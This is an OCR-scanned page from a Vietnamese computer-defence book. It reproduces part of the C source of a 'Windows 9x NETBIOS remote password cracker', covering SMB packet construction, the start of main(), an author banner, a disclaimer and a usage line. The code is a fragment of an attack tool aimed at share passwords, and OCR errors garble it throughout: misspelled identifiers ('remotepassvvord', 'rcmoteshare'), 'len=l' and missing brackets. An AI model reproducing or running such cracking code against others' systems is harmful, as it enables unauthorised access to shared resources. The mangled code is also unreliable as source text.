Page 121 - Hướng Dẫn Cách Phòng Thủ Và Khắc Phục Sự Cố Máy Tính
P. 121

strlen (remotepassvvord));

             memcpy («&smb_packet [47+strlen (remotepassword)],
             remoteshare, strlen (remoteshare));
             smb_packet       [48+strlen (remotepassxvord)  +  strlen
        (remoteshare)
             ]='\x41’;
             smb_packet       [49+strlen (remotepassword)  +  strlen
        (rcmoteshare)
             ]='\x3A';
             // calculate and add length

             smb_packet       [3]=strlen (remotepassvvord)  +  strlen
        (remoteshare) + 47;

             }


             int main (int argc, char *argv [])
             Ị
             (
            int sock, i, len=l, done=0;
            struct sockaddr_in sin;
            struct hostent *hp;

            printf  ("\nMicrosoft  Windows  9x  NETBIOS  remote
        passvvord

            cracker. Written by Melih SARICAAnE-Mail:
            melihsar@yahoo.com, msarica@bilgiteks.com\n");
            printf ("I take no responsibility for what you do with
            this  software.\nPlease  test  your  own  System
        only.\n\n");
            if (argc!=3)

            {
            printf ("usage:%s hostname remoteshareXn", argv [0];


        122
   116   117   118   119   120   121   122   123   124   125   126